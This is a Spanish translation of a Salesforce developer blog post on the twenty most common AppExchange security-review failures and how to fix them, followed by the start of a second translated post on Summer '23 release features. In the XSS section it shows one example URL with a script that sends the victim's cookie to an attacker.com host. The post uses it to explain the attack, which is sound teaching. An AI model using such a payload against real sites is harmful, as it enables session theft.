Categories
AppExchange Developers Tutoriales de Salesforce

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/08/the-top-20-vulnerabilities-found-in-the-appexchange-security-review.html

Categories
Developers Tutoriales de Salesforce

Aspectos destacados de la versión para desarrolladores | Aprende Moar Verano '23 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Aspectos destacados de la versión para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

¡Haz un gran revuelo con el lanzamiento de Summer '23!

Sabemos que cada versión trae consigo muchas funciones nuevas y sorprendentes, y puede haber mucho que digerir. Con Learn MOAR, empaquetamos el lanzamiento y se lo ofrecemos en un formato fácil de digerir con blogs, videos y más.

¡Es fácil empezar!

  • ¡Explore los trailmixes de Trailhead con aspectos destacados de lanzamiento clave para desarrolladores o administradores, o ambos!
  • ¡Únase a nosotros para Release Readiness Live ! Los expertos en productos y los defensores de los desarrolladores analizarán y demostrarán las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisión, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesión de desarrolladores. ¿No puedes unirte a nosotros en vivo? La grabación se publicará unas horas después de que finalice la transmisión.

Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.

Introducción

¡El lanzamiento de Summer '23 está aquí y está repleto de funciones para desarrolladores! En esta publicación de blog, resumiremos los aspectos más destacados, para que pueda obtener una descripción general de las novedades y decidir qué es lo más interesante para usted. En publicaciones posteriores de Learn MOAR, profundizaremos en algunos de estos aspectos destacados, para que pueda explorarlos con mayor detalle. Mantenerse actualizado con las últimas innovaciones lo ayudará a aumentar su experiencia y convertirse en un desarrollador más exitoso.

Componentes web Lightning

Comencemos hablando de Lightning Web Components, que presentará una gran cantidad de nuevas funciones en Summer '23.

Un par de funciones que estaban en Beta ahora estarán disponibles de forma general (GA). Esto incluye DOM ligero , que permite integraciones de terceros y estilo global, Lightning Web Security para LWC y Aura , que facilita el uso de bibliotecas de JavaScript de terceros en LWC. La API RefreshView , que le permite actualizar la vista de un componente, también será GA. Además, el adaptador de cable GraphQL se está moviendo a Beta, lo que significa que puede probarlo de inmediato, sin tener que registrarse para el programa piloto. Esto cambiará las reglas del juego sobre cómo se leen los datos en Lightning Web Components.

